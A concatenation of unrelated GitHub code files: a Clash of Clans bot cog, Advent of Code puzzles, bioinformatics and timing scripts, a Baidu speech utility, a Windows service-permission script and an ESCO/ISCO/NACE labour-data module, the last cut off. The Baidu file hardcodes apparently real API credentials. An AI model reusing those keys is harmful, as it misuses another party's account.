{data['trophies']} trophies, Level {data['expLevel']}**\",\n colour=embed_colour,\n )\n embed.set_author(\n name=f\"{data['name']} ({data['tag']})\",\n url=f\"https://link.clashofclans.com/en?action=OpenPlayerProfile&tag={data['tag'][1:]}\",\n icon_url=self.townhalls[data[\"townHallLevel\"]],\n )\n embed.set_thumbnail(url=townhall_image)\n\n embed.add_field(\n name=\"__**Current Season Stats**__\",\n value=f\"**Troops Donated**\\n{data['donations']}\\n**Troops Received**\\n{data['donationsReceived']}\\n**Attacks Won**\\n{data['attackWins']}\\n**Defenses Won**\\n{data['defenseWins']}\",\n inline=False,\n )\n\n clan = data.get(\"clan\")\n if clan:\n embed.add_field(\n name=\"__**Clan**__\",\n value=f\"[**{clan['name']} ({clan['tag']})**](https://link.clashofclans.com/en?action=OpenClanProfile&tag=%23{clan['tag'][1:]})\\n**Position**:\\n{data['role'].capitalize()}\",\n inline=False,\n )\n\n embed.add_field(\n name=\"__**Achievements**__\",\n value=f\"**Total Loot**\\n{self.get_total_loot(data['achievements'])}\\n**Best Trophies**\\n{data['bestTrophies']} trophies\",\n )\n\n heros = data.get(\"heroes\")\n\n if heros:\n hero_text = \"\\n\".join(\n f\"**{self.get_emoji(hero['name'].lower())}** {hero['level']}\"\n for hero in heros\n )\n\n embed.add_field(name=\"__**Heroes**__\", value=hero_text, inline=False)\n\n return embed\n\n def millify(self, number: int):\n number = float(number)\n\n millidx = max(\n 0,\n min(\n len(self.millnames) - 1,\n int(math.floor(0 if number == 0 else math.log10(abs(number)) / 3)),\n ),\n )\n\n return f\"{number / 10 ** (3 * millidx):.2f}{self.millnames[millidx]}\"\n\n def get_total_loot(self, achievements: Dict):\n achiev_names = {\n \"Gold Grab\": \"gold\",\n \"Elixir Escapade\": \"elixir\",\n \"Heroic Heist\": \"dark\",\n }\n loot = {\"elixir\": 0, \"gold\": 0, \"dark\": 0}\n\n for achiev in achievements:\n try:\n loot_type = achiev_names[achiev[\"name\"]]\n except KeyError:\n continue\n\n loot[loot_type] = achiev[\"value\"]\n\n return f\"**{self.get_emoji('gold')}** {self.millify(loot['gold'])}, **{self.get_emoji('elixir')}** {self.millify(loot['elixir'])}, **{self.get_emoji('dark elixir')}** {self.millify(loot['dark'])}\"\n\n def get_emoji(self, emoji_name: str):\n emoji = self.emojis.get(emoji_name.lower())\n if not emoji:\n return\n\n return emoji[\"emoji\"] or emoji[\"fallback\"].title()\n\n async def check_response_for_errors(self, response: aiohttp.ClientResponse):\n\n if response.status == 404:\n return 404\n elif response.status == 200:\n return True\n else:\n logger.warning(\n f\"Request returned {response.status}.\\nError info: {await response.json()}\"\n )\n\n async def request(self, endpoint: str) -> Dict:\n async with self.session.get(\n self.BASE_URL + endpoint,\n headers=self.default_headers,\n ) as response:\n if not await self.check_response_for_errors(response):\n return False\n return await response.json()\n","repo_name":"AdamTuraj/finger-cogs","sub_path":"clashofclans/clashofclans.py","file_name":"clashofclans.py","file_ext":"py","file_size_in_byte":30129,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"39073967813","text":"from anytree import AnyNode, RenderTree, ContStyle, Walker\n\n\ndef make_tree(rules, tree_object):\n line = \"\"\n \"\"\"if tree_object.id == \"8\":\n make_tree.count_1 += 1\n elif tree_object.id == \"11\":\n make_tree.count_2 += 1\"\"\"\n if len(str(tree_object.id).split(\" \")) != 1:\n line = tree_object.id\n else:\n line = rules[int(tree_object.id)]\n if \"|\" in line:\n for x in line.split(\" | \"):\n child = AnyNode(id=x, parent=tree_object, is_or=False)\n tree_object.is_or = True\n \"\"\"if (tree_object.id == \"8\" and make_tree.count_1 > 10) or (\n tree_object.id == \"11\" and make_tree.count_2 > 10):\n pass\n else:\"\"\"\n make_tree(rules, child)\n else:\n for x in line.split(\" \"):\n if \"a\" in x or \"b\" in x:\n child = AnyNode(id=x[1], parent=tree_object, is_or=False)\n else:\n child = AnyNode(id=x, parent=tree_object, is_or=False)\n \"\"\"if (tree_object.id == \"8\" and make_tree.count_1 > 10) or (\n tree_object.id == \"11\" and make_tree.count_2 > 10):\n pass\n else:\"\"\"\n make_tree(rules, child)\n\n\nmake_tree.count_1 = 0\nmake_tree.count_2 = 0\n\n\ndef validate(value, tree, index=0):\n if index == len(value):\n print(index)\n return index\n temp_index = index\n w = Walker()\n if len(tree.children) == 0:\n if value[index] == tree.id:\n index += 1\n count = 0\n for child in tree.children:\n walk = w.walk(tree, child)\n if tree.is_or:\n check = validate(value, walk[2][0], temp_index)\n if check > index:\n index = check\n else:\n check = validate(value, walk[2][0], index)\n if check > index:\n count += 1\n index = check\n if tree.is_or:\n return index\n if len(tree.children) == 0 or count % len(tree.children) == 0:\n return index\n else:\n return temp_index\n\n\ndef task_1():\n with open(\"Input/19.txt\") as f:\n data = [x.split(\"\\n\") for x in f.read().split(\"\\n\\n\")]\n rules = {}\n for x in data[0]:\n split = x.split(\": \")\n rules[int(split[0])] = split[1]\n root = AnyNode(id=\"0\", parent=None, is_or=False)\n make_tree(rules, root)\n count = 0\n for x in data[1]:\n if validate(x, root) == len(x): count += 1\n print(len(data[1]))\n return count\n\n\ndef task_2():\n with open(\"Input/19.txt\") as f:\n data = [x.split(\"\\n\") for x in f.read().split(\"\\n\\n\")]\n rules = {}\n for x in data[0]:\n split = x.split(\": \")\n rules[int(split[0])] = split[1]\n rules[8] = \"42 | 42 8\"\n rules[11] = \"42 31 | 42 11 31\"\n root = AnyNode(id=\"0\", parent=None, is_or=False)\n make_tree(rules, root)\n print(RenderTree(root, ContStyle()))\n count = 0\n for x in data[1]:\n if validate(x, root) == len(x): count += 1\n print(len(data[1]))\n return count\n","repo_name":"Strawl/advent-of-code","sub_path":"2020/Calendar_2020/Day19.py","file_name":"Day19.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17107823309","text":"import sys\nfrom Bio import SeqIO\n\n\n\nab1_name = sys.argv[1]\nfasta_name = ab1_name.split(\".\")[0] + \".fasta\"\n\nrecord = SeqIO.read(ab1_name, \"abi\")\n\nwith open(fasta_name, \"w\") as output_file:\n output_file.write(\">{0}\\n{1}\\n\".format(ab1_name.split(\".\")[0],record.seq))\n\n","repo_name":"Mxrcon/study","sub_path":"laboratory_analysis/sanger_sequencing/ab1_to_fasta.py","file_name":"ab1_to_fasta.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1163504539","text":"import time\n\ntry:\n from urllib.request import urlopen, Request # Python 3\nexcept ImportError:\n from urllib2 import urlopen, Request # Python 2\n\nfrom baidu.classes.access_token import AccessToken\nfrom baidu.classes.query_data import QueryData\nfrom baidu.classes.query_request import QueryRequest\nfrom baidu.classes.dialog_state import DialogState\nfrom baidu.classes.response_data import ResponseData\nfrom json_utility import JsonUtility\nfrom os_utility import OSUtility\nfrom aip import AipSpeech\n\n\nclass BaiduUtility:\n app_id = \"15554198\"\n api_key = \"K42tgyWzgAkPSC9gVaYWkeg7\"\n secret_key = \"TlBoDLWCMZmjE9P6VFRUz2e24NKh1Vv7\"\n access_token = None # type: str\n aip_speech = None # type:AipSpeech\n response_dict = {} # type: dict[str, ResponseData]\n # 3: mp3 4: pcm-16k 5: pcm-8k 6: wav\n synthesis_formats = {3: \"mp3\", 4: \"pcm\", 5: \"pcm\", 6: \"wav\"}\n synthesis_aue = 4\n synthesis_format = synthesis_formats[synthesis_aue]\n\n # Request to authorization service 'https://aip.baidubce.com/oauth/2.0/token' and add the following parameters to the URL\n # grant_type=client_credentials\n # client_id=Your app API Key\n # client_secret=Your app Secret Key\n @staticmethod\n def get_access_token():\n if BaiduUtility.access_token is not None:\n return BaiduUtility.access_token\n\n host = \"https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id={0}&client_secret={1}&\".format(\n BaiduUtility.api_key, BaiduUtility.secret_key)\n request = Request(host)\n request.add_header('Content-Type', 'application/json; charset=UTF-8')\n f = urlopen(request)\n content = f.read()\n try:\n msg = JsonUtility.from_json(content) # type: AccessToken\n BaiduUtility.access_token = msg.access_token\n return BaiduUtility.access_token\n except ValueError:\n return None\n\n @staticmethod\n def request_query(query: str, log_id: str = None, version: float = 2.0, service_id: str = \"S13677\",\n skill_ids: [] = None, session_id: str = None, user_id: str = \"dev\") -> ResponseData:\n if BaiduUtility.response_dict.__contains__(query):\n return BaiduUtility.response_dict.get(query)\n\n url = 'https://aip.baidubce.com/rpc/2.0/unit/service/chat?access_token=' + BaiduUtility.get_access_token()\n query_data = QueryData()\n if log_id is None:\n query_data.log_id = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n else:\n query_data.log_id = log_id\n query_data.version = version\n query_data.service_id = service_id\n if skill_ids is None:\n skill_ids = [\"36984\"]\n query_data.skill_ids = skill_ids\n if session_id is None:\n query_data.session_id = \"\"\n else:\n query_data.session_id = session_id\n query_data.request = QueryRequest()\n query_data.request.query = query\n query_data.request.user_id = user_id\n query_data.dialog_state = DialogState()\n query_data.dialog_state.contexts = {\"SYS_REMEMBERED_SKILLS\": skill_ids}\n post_data = JsonUtility.to_json(query_data).encode(encoding=\"utf-8\")\n request = Request(url, post_data)\n request.add_header('Content-Type', 'application/json')\n content = urlopen(request)\n response_data = JsonUtility.from_json(content.read())\n BaiduUtility.response_dict.__setitem__(query, response_data)\n return response_data\n\n @staticmethod\n def get_aip_speech():\n if BaiduUtility.aip_speech is None:\n BaiduUtility.aip_speech = AipSpeech(BaiduUtility.app_id, BaiduUtility.api_key, BaiduUtility.secret_key)\n return BaiduUtility.aip_speech\n\n @staticmethod\n def synthesis(tex: str, lang: str = 'zh', ctp: int = 1, overwrite: bool = False,\n options: dict = None):\n\n path = \"resources\\\\audios\\\\{0}.{1}\".format(tex, BaiduUtility.synthesis_format)\n if overwrite is False and OSUtility.exists(path):\n return OSUtility.open(path)\n\n if options is None:\n options = {'aue': BaiduUtility.synthesis_aue}\n else:\n options.__setitem__('aue', BaiduUtility.synthesis_aue)\n\n synthesis_result = BaiduUtility.get_aip_speech().synthesis(tex, lang, ctp, options)\n\n if not isinstance(synthesis_result, dict):\n OSUtility.create(path, synthesis_result)\n return OSUtility.open(path)\n else:\n raise ValueError(synthesis_result.get('err_msg'))\n\n @staticmethod\n def asr(speech: [], asr_format: str = 'pcm', rate: int = 16000, options: dict = None) -> [str]:\n asr_result = BaiduUtility.get_aip_speech().asr(speech, asr_format, rate, options)\n if asr_result.get('err_no') == 0:\n return asr_result.get('result')\n else:\n raise ValueError(\n \"error_code: {0}, error_msg: {1}\".format(asr_result.get('err_no'), asr_result.get('err_msg')))\n\n @staticmethod\n def clear():\n \"\"\"\n Delete all saved audio files\n \"\"\"\n OSUtility.removedirs(\"resources\\\\audios\")\n\n\nif __name__ == '__main__':\n data = BaiduUtility.request_query(\"往前走10米\")\n if data.error_code == 0:\n for response in data.result.response_list:\n print(\"intent: {0}\".format(response.schema.intent))\n for slot in response.schema.slots:\n print(\"name: {0}, normalized word : {1}\".format(slot.name, slot.normalized_word))\n else:\n raise ValueError(data.error_msg)\n\n for result in BaiduUtility.asr(BaiduUtility.synthesis(\"嘿小派\"), options={'dev_pid': 1536}):\n print(result)\n","repo_name":"chaolunner/PythonFramework","sub_path":"baidu/baidu_utility.py","file_name":"baidu_utility.py","file_ext":"py","file_size_in_byte":5740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29617297025","text":"import subprocess\r\nimport re\r\n\r\n#userName = \"VirtUser\"\r\nsubprocess.run( \"sc create BatchInstallationService binpath=\\\"C:\\\\Users\\\\VirtUser\\\\Desktop\\\\misc\\\\BatchInstallationService.exe\\\"\" )\r\n#subprocess.check_output(\"sc create\", \"BatchInstallationService\", \"binpath=\\\"C:\\Users\\VirtUser\\Desktop\\misc\\BatchInstallationService.exe\\\"\" )\r\n\r\nserviceSID = subprocess.check_output( \"sc sdshow BatchInstallationService\" ).decode(\"cp866\").strip()\r\n\r\n#print( serviceSID ) \r\n\r\nresp = subprocess.check_output( \"whoami /USER /NH\" ).decode( \"cp866\" ).strip()\r\n#userSID = subprocess.check_output( \"whoami /all\" ).decode( \"cp866\" ).strip()\r\nuserSID = resp.split()[1]\r\n#regexpstr = \"{0}\\s+([-0-9a-zA-Z]+)\".format( userName ) \r\n#print ( regexpstr )\r\n#m = re.search( regexpstr, userSID, flags=re.IGNORECASE )\r\n#if m:\r\n# #print( m.group(1) )\r\n# userSID = m.group(1)\r\n#else:\r\n# print( \"Cannot determine user SID :(\" )\r\n# exit( 0 )\r\n\r\n#print( userSID )\r\n\r\nnewSvcSID = \"{0}(A;;RPWPDT;;;{1})\".format( serviceSID, userSID )\r\n#newSvcSID = serviceSID + \"(A;;RPWPDT;;;\" + userSID + \")\"\r\n#print( newSvcSID )\r\n\r\ncmd = \"sc sdset BatchInstallationService {0}\".format( newSvcSID )\r\n\r\nprint( cmd )\r\n#subprocess.run( cmd )\r\n\r\n","repo_name":"vireulgr/myscripts","sub_path":"Python/prjs/svcmgmt.py","file_name":"svcmgmt.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21351865893","text":"import numpy as np\nimport time\nimport pdb\nimport pandas as pd\nfrom functools import wraps\nimport errno\nimport os\nimport signal\n\nclass TimeoutError(Exception):\n pass\n\ndef timeout(seconds=10, error_message=os.strerror(errno.ETIME)):\n def decorator(func):\n def _handle_timeout(signum, frame):\n raise TimeoutError(error_message)\n\n def wrapper(*args, **kwargs):\n signal.signal(signal.SIGALRM, _handle_timeout)\n signal.alarm(seconds)\n try:\n result = func(*args, **kwargs)\n finally:\n signal.alarm(0)\n return result\n\n return wraps(func)(wrapper)\n\n return decorator\n\n## Create 2 dot product implemention. One that uses libraries and one that does not\n@timeout(500)\ndef dot_product_version1(x, y):\n #input should be 2 vectors\n \"\"\"Dot product as sum of list comprehension doing element-wise multiplication\"\"\"\n return sum(x[i]*y[i] for i in range(len(y)))\n #return sum(x_i*y_i for x_i, y_i in zip(x, y))\n\ndef main():\n n = 100\n info = []\n t_end = time.time() + 60 * 10\n #w = pd.ExcelWriter('dot_product_version1.xlsx', engine='xlsxwriter')\n with pd.ExcelWriter('dot_product_version1.xlsx', engine='xlsxwriter') as w:\n while time.time() < t_end:\n operation_count = (2*n)**3\n start = time.time()\n a = dot_product_version1(np.random.randint(2,size = (n),dtype='uint8'),np.random.randint(2,size = (n),dtype='uint8'))\n end = time.time()\n total_time_running = end - start\n flops = (operation_count/total_time_running)/1000000000\n info.append([n,operation_count,total_time_running,flops])\n file_info = pd.DataFrame(info, columns = ['Size n','Operation Count','Exection Time','Flops'])\n file_info.to_excel(w)\n n = n * 2\n #w.save()\nif __name__ == '__main__':\n main()\n\n# python -m trace --trace dot_product_version1.py >> dot_product_version1.txt\n","repo_name":"michaelm396/Matrix_Multiplcation","sub_path":"Python/scripts/dot_product_version1.py","file_name":"dot_product_version1.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34924720823","text":"import sys\n\nl = [l.strip().split(': ') for l in sys.stdin]\nfw = {int(d): int(r) for d, r in l}\n\ndef get_sev(offset = 0):\n sev = caught = 0\n for d, r in fw.items():\n if (d + offset) % (2 * r - 2) == 0:\n caught = True\n sev += d * r\n return sev, caught\n\nprint(get_sev()[0])\n\no = 0\nwhile get_sev(o)[1]:\n o += 1\nprint(o)\n","repo_name":"xilefsensei/adventofcode","sub_path":"17/13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"18551527473","text":"import os\nimport re\nimport string\nimport multiprocessing\nimport bs4\nimport pandas as pd\nimport numpy as np\nimport scipy\n\nfrom ahocorasick import Automaton\nfrom currency_converter import CurrencyConverter\nfrom gensim.models import KeyedVectors\nfrom nltk.corpus import stopwords\nfrom scipy import spatial\nfrom sklearn.cluster import DBSCAN\nfrom tqdm import tqdm\nimport pycountry\n\n\n# region --- Tree structure ---\n\n\nclass Tree:\n \"\"\"\n Tree structure used for the NACE and ISCO trees\n \"\"\"\n\n def __init__(self, root_id='R'):\n \"\"\"\n :param root_id: id of the root if the tree, also starting character for any node id in the tree\n :type root_id: str\n \"\"\"\n self.root = Node(root_id)\n\n def add_node(self, node):\n \"\"\"\n Add a node to the tree. The node gets placed based on its id; any intermediate nodes are created automatically.\n\n :param node: Node to be added to the tree.\n :type node: Node\n \"\"\"\n node_id = node.id.split('.')[0]\n parent = self.root\n for i in range(len(node_id)):\n code = node_id[i]\n if code in parent.children:\n parent = parent.children[code]\n else:\n n = Node(code, parent=parent)\n parent = n\n node.id = node.id.split('.')[1]\n node.add_father(parent)\n\n def propagate(self, attr, node=None):\n \"\"\"\n Propagates an attribute up a tree. The attribute NEEDS to be a dictionary of the format {name: 1} at the leaves.\n\n :param attr: name of the attribute to propagate\n :type attr: str\n :param node: used for recursion purposes only, do not use when calling this method otherwise.\n :type node: Node\n :return: returns a dictionary with all the names and counts for each name. i.e. {name1: 100, name2:120, ...}\n :rtype: dict\n \"\"\"\n if node is None:\n node = self.root\n if not hasattr(node, 'essential_skl'):\n node.update_attributes(essential_skl={}, optional_skl={})\n if len(node.children) != 0:\n for child in node.children.values():\n attrs = self.propagate(attr, child)\n for a in attrs:\n if a not in node.__getattribute__(attr):\n node.__getattribute__(attr)[a] = attrs[a]\n else:\n node.__getattribute__(attr)[a] += attrs[a]\n return node.__getattribute__(attr)\n\n\nclass Node:\n \"\"\"\n Node used in the tree structure\n \"\"\"\n\n def __init__(self, ID, parent=None, **kwargs):\n \"\"\"\n :param ID: id of the node, which also determines the position in the tree.\n :type ID: str\n :param parent: parent of the current node in the tree.\n :type parent: Node\n :param kwargs: any attributes to initialise the node with.\n :type kwargs: dict\n \"\"\"\n self.children = {}\n self.id = ID\n self.parent = None\n self.code = None\n self.__dict__.update(kwargs)\n self.add_father(parent)\n\n def add_father(self, parent):\n \"\"\"\n Calculates the code attribute, adds self as child of the parent node.\n\n :param parent: parent of the current node in the tree.\n :type parent: Node\n \"\"\"\n self.parent = parent\n n = parent\n self.code = []\n while n is not None:\n self.code.append(n.id[-1])\n n = n.parent\n self.code.reverse()\n self.code = ''.join(self.code)\n\n if parent is not None:\n self.parent.children[self.id] = self\n\n def update_attributes(self, **attr):\n \"\"\"\n Updates/adds attributes\n\n :param attr: attributes to update, should be in the format {attr1:value1, attr2,:value2 ...}\n :type attr: dict\n \"\"\"\n self.__dict__.update(attr)\n\n def copy(self):\n \"\"\"\n :return: deep copy of the object\n :rtype: Node\n \"\"\"\n import copy\n return copy.deepcopy(self)\n\n\n# endregion\n\n\n# region --- Preprocessing ---\n\n\nclass Preprocessor:\n \"\"\"\n Class used to preprocess the data\n \"\"\"\n\n def __init__(self, mode=2, ordered=True, verbose=True):\n \"\"\"\n :param mode: 0 - strip HTML only; 1 - minimal cleaning; 2 - delete everything between parenthesis\n :type mode: int\n :param ordered: whether to return values in the same order, False is a bit quicker and uses a bit less memory.\n :type ordered: bool\n :param verbose: whether to print the progress bar to console\n :type verbose: bool\n \"\"\"\n self._mode = mode\n self._ordered = ordered\n self._verbose = verbose\n\n def clean(self, text, verbose=None):\n \"\"\"\n Clean the input text with the settings from mode\n\n :param text: the text to be cleaned as a list of str\n :type text: list\n :return: cleaned text, in the same order\n :rtype: list\n \"\"\"\n if verbose is not None:\n self._verbose = verbose\n return self._run(text, self._clean)\n\n def _run(self, data, func):\n \"\"\"\n Runs a function in parallel on all available cores\n\n :param data: the input data, should be a list of input values for the function\n :type data: list\n :param func: the function to run on all the data\n :type func: callable\n :return: the data once the function has been applied to each element of the list\n :rtype: list\n \"\"\"\n with multiprocessing.Pool(processes=os.cpu_count()) as p:\n if self._verbose:\n with tqdm(total=len(data), unit=' sentences') as p_bar:\n if self._ordered:\n for i, res in enumerate(p.imap(func, data)):\n p_bar.update()\n data[i] = res\n else:\n for i, res in enumerate(p.imap_unordered(func, data)):\n p_bar.update()\n data[i] = res\n else:\n if self._ordered:\n for i, res in enumerate(p.imap(func, data)):\n data[i] = res\n else:\n for i, res in enumerate(p.imap_unordered(func, data)):\n data[i] = res\n return data\n\n def _clean(self, text):\n \"\"\"\n Clean text using different modes\n\n :param text: text to be cleaned\n :type text: str\n :return: cleaned text\n :rtype: str\n \"\"\"\n if type(text) != str:\n return ''\n\n soup = bs4.BeautifulSoup(text, features=\"html5lib\")\n for script in soup([\"script\", \"style\"]):\n script.decompose()\n\n strips = list(soup.stripped_strings)\n\n text = \" \".join(strips)\n text = ''.join(x for x in text if x in string.printable)\n text = text.replace('col-wide', '')\n\n if self._mode > 0:\n\n text = text.replace('?', '').replace('-', '').replace(',', '')\n text = text.lower()\n\n if self._mode == 2:\n text = re.sub(\"[\\(\\[].*?[\\)\\]]\", \"\", text)\n\n text = text.replace('(', '').replace(')', '')\n\n text = text.replace(' ', ' ')\n\n return text\n\n\n# endregion\n\n\n# region --- ESCO, ISCO, NACE ---\n\n\nNACE_SEC_TO_CODE = {\n 'Agriculture, forestry and fishing': 'A',\n 'Mining and quarrying': 'B',\n 'Manufacturing': 'C',\n 'Electricity, gas, steam and air conditioning supply': 'D',\n 'Water supply sewage, waste management and remediation activities': 'E',\n 'Construction': 'F',\n 'Wholesale and retail trade; repair of motor vehicles and motorcycles': 'G',\n 'Transportation and storage': 'H',\n 'Accommodation and food service activities': 'I',\n 'Information and communication': 'J',\n 'Financial and insurance activities': 'K',\n 'Real estate activities': 'L',\n 'Professional, scientific and technical activities': 'M',\n 'Administrative and support service activities': 'N',\n 'Public administration and defence; compulsory social security': 'O',\n 'Education': 'P',\n 'Human health and social work activities': 'Q',\n 'Arts, entertainment and recreation': 'R',\n 'Other services activities': 'S',\n '': 'Z',\n}\n\nNACE_CODE_TO_SEC = {\n 'A': 'Agriculture, forestry and fishing',\n 'B': 'Mining and quarrying',\n 'C': 'Manufacturing',\n 'D': 'Electricity, gas, steam and air conditioning supply',\n 'E': 'Water supply sewage, waste management and remediation activities',\n 'F': 'Construction',\n 'G': 'Wholesale and retail trade; repair of motor vehicles and motorcycles',\n 'H': 'Transportation and storage',\n 'I': 'Accommodation and food service activities',\n 'J': 'Information and communication',\n 'K': 'Financial and insurance activities',\n 'L': 'Real estate activities',\n 'M': 'Professional, scientific and technical activities',\n 'N': 'Administrative and support service activities',\n 'O': 'Public administration and defence; compulsory social security',\n 'P': 'Education',\n 'Q': 'Human health and social work activities',\n 'R': 'Arts, entertainment and recreation',\n 'S': 'Other services activities ',\n 'Z': 'Other',\n}\n\n\nclass EsIsNaFusion:\n \"\"\"\n Class that combines ESCO, ISCO and NACE knowledge\n \"\"\"\n\n def __init__(self, path):\n \"\"\"\n :param path: path to the folder containing the ESCO data\n \"\"\"\n self.skill_popularity = {}\n\n self._isco_tree = Tree(root_id='C')\n self._nace_tree = Tree()\n self._isco_nodes = {}\n self._nace_nodes = {}\n self._skills = {}\n\n self._occ_en = pd.read_csv(path + 'occupations_en.csv', dtype=str)\n self._skl_en = pd.read_csv(path + 'skills_en.csv', dtype=str)\n self._occ_skl_rel = pd.read_csv(path + 'occupationSkillRelations.csv', dtype=str)\n self._grp_en = pd.read_csv(path + 'ISCOGroups_en.csv', dtype=str)\n self._loc_salary = pd.read_csv(path + 'Salaries.csv', dtype=str)\n\n self._init_occupations()\n self._init_skills()\n self._link_occ_skl()\n self._init_isco()\n self._init_nace()\n\n self._stops = set(stopwords.words(\"english\"))\n self._c = CurrencyConverter()\n\n def _init_occupations(self):\n \"\"\"\n Initialises the nodes for the ISCO and NACE trees, reading the information from ESCO\n \"\"\"\n for i in range(len(self._occ_en)):\n name = self._occ_en.preferredLabel[i]\n uri = self._occ_en.conceptUri[i]\n try:\n alts = self._occ_en.altLabels[i].split('\\n')\n except AttributeError:\n alts = []\n isco_group = self._occ_en.iscoGroup[i]\n self._isco_nodes[uri] = (Node(ID=isco_group + '.' + name, parent=None,\n name=name,\n uri=uri,\n alts=alts,\n essential_skl={'$total_count$': 1},\n optional_skl={'$total_count$': 1}))\n\n self._nace_nodes[uri] = (Node(ID=self._get_nace_code(isco_group) + '.' + name, parent=None,\n name=name,\n uri=uri,\n alts=alts,\n essential_skl={'$total_count$': 1},\n optional_skl={'$total_count$': 1}))\n\n def _init_skills(self):\n \"\"\"\n Initialises the skills dictionary with the data from ESCO\n \"\"\"\n for i in range(len(self._skl_en)):\n name = self._skl_en.preferredLabel[i]\n uri = self._skl_en.conceptUri[i]\n self._skills[uri] = name\n\n def _link_occ_skl(self):\n \"\"\"\n Links the occupation nodes from ISCO and NACE to the skills; compiles an analysis of how popular skills are.\n \"\"\"\n for i in range(len(self._occ_skl_rel)):\n occupation = self._occ_skl_rel.occupationUri[i]\n skill = self._skills[self._occ_skl_rel.skillUri[i]]\n type = self._occ_skl_rel.relationType[i]\n if type == 'essential':\n self._isco_nodes[occupation].__getattribute__('essential_skl')[skill] = 1\n self._nace_nodes[occupation].__getattribute__('essential_skl')[skill] = 1\n else:\n self._isco_nodes[occupation].__getattribute__('optional_skl')[skill] = 1\n self._nace_nodes[occupation].__getattribute__('optional_skl')[skill] = 1\n if skill in self.skill_popularity:\n self.skill_popularity[skill] += 1\n else:\n self.skill_popularity[skill] = 1\n\n def _init_isco(self):\n \"\"\"\n Initialises the ISCO tree and propagates the essential and optional skills through the tree\n \"\"\"\n for node in self._isco_nodes.values():\n self._isco_tree.add_node(node)\n self._isco_tree.propagate('essential_skl')\n self._isco_tree.propagate('optional_skl')\n\n def _init_nace(self):\n \"\"\"\n Initialises the NACE tree and propagates the essential and optional skills through the tree\n \"\"\"\n for node in self._nace_nodes.values():\n self._nace_tree.add_node(node)\n self._nace_tree.propagate('essential_skl')\n self._nace_tree.propagate('optional_skl')\n\n @staticmethod\n def _get_nace_code(isco_code):\n \"\"\"\n Converts an ISCO code to a NACE code.\n\n :param isco_code: ISCO code to convert\n :type isco_code: str\n :return: equivalent NACE code\n :rtype: str\n \"\"\"\n nace_sectors = {\n '0': 'Public administration and defence; compulsory social security',\n '111': 'Public administration and defence; compulsory social security',\n '112': 'Professional, scientific and technical activities',\n '12': '',\n '131': 'Agriculture, forestry and fishing',\n '1321': 'Manufacturing',\n '1322': 'Mining and quarrying',\n '1323': 'Construction',\n '1324': 'Transportation and storage',\n '133': 'Information and communication',\n '1341': 'Human health and social work activities',\n '1342': 'Human health and social work activities',\n '1343': 'Human health and social work activities',\n '1344': 'Public administration and defence; compulsory social security',\n '1345': 'Education',\n '1346': 'Financial and insurance activities',\n '1349': 'Professional, scientific and technical activities',\n '141': 'Accommodation and food service activities',\n '142': 'Wholesale and retail trade; repair of motor vehicles and motorcycles',\n '1431': 'Arts, entertainment and recreation',\n '1439': 'Professional, scientific and technical activities',\n '21': 'Professional, scientific and technical activities',\n '22': 'Human health and social work activities',\n '23': 'Education',\n '241': 'Financial and insurance activities',\n '242': 'Administrative and support service activities',\n '243': 'Professional, scientific and technical activities',\n '25': 'Information and communication',\n '261': 'Professional, scientific and technical activities',\n '262': 'Arts, entertainment and recreation',\n '2631': 'Professional, scientific and technical activities',\n '2632': 'Professional, scientific and technical activities',\n '2633': 'Professional, scientific and technical activities',\n '2634': 'Human health and social work activities',\n '2635': 'Human health and social work activities',\n '2636': 'Other services activities',\n '264': 'Information and communication',\n '265': 'Arts, entertainment and recreation',\n '3111': 'Professional, scientific and technical activities',\n '3112': 'Construction',\n '3113': 'Professional, scientific and technical activities',\n '3114': 'Professional, scientific and technical activities',\n '3115': 'Professional, scientific and technical activities',\n '3116': 'Professional, scientific and technical activities',\n '3117': 'Mining and quarrying',\n '3118': 'Professional, scientific and technical activities',\n '3119': 'Professional, scientific and technical activities',\n '3121': 'Mining and quarrying',\n '3122': 'Manufacturing',\n '3123': 'Construction',\n '3131': 'Electricity, gas, steam and air conditioning supply',\n '3132': 'Water supply sewage, waste management and remediation activities',\n '3133': 'Manufacturing',\n '3134': 'Electricity, gas, steam and air conditioning supply',\n '3135': 'Manufacturing',\n '3139': 'Manufacturing',\n '3141': 'Professional, scientific and technical activities',\n '3142': 'Agriculture, forestry and fishing',\n '3143': 'Agriculture, forestry and fishing',\n '315': 'Transportation and storage',\n '321': 'Human health and social work activities',\n '322': 'Human health and social work activities',\n '323': 'Human health and social work activities',\n '324': 'Professional, scientific and technical activities',\n '325': 'Human health and social work activities',\n '331': 'Financial and insurance activities',\n '332': 'Wholesale and retail trade; repair of motor vehicles and motorcycles',\n '333': 'Professional, scientific and technical activities',\n '334': 'Administrative and support service activities',\n '335': 'Public administration and defence; compulsory social security',\n '3411': 'Professional, scientific and technical activities',\n '3412': 'Human health and social work activities',\n '3413': 'Other services activities',\n '342': 'Arts, entertainment and recreation',\n '343': 'Arts, entertainment and recreation',\n '35': 'Information and communication',\n '4': 'Administrative and support service activities',\n '51': 'Other services activities',\n '52': 'Wholesale and retail trade; repair of motor vehicles and motorcycles',\n '53': 'Human health and social work activities',\n '54': 'Public administration and defence; compulsory social security',\n '6': 'Agriculture, forestry and fishing',\n '71': 'Construction',\n '72': 'Manufacturing',\n '73': 'Manufacturing',\n '74': 'Manufacturing',\n '75': 'Manufacturing',\n '811': 'Mining and quarrying',\n '812': 'Manufacturing',\n '813': 'Manufacturing',\n '814': 'Manufacturing',\n '815': 'Manufacturing',\n '816': 'Manufacturing',\n '817': 'Manufacturing',\n '818': 'Manufacturing',\n '82': 'Manufacturing',\n '83': 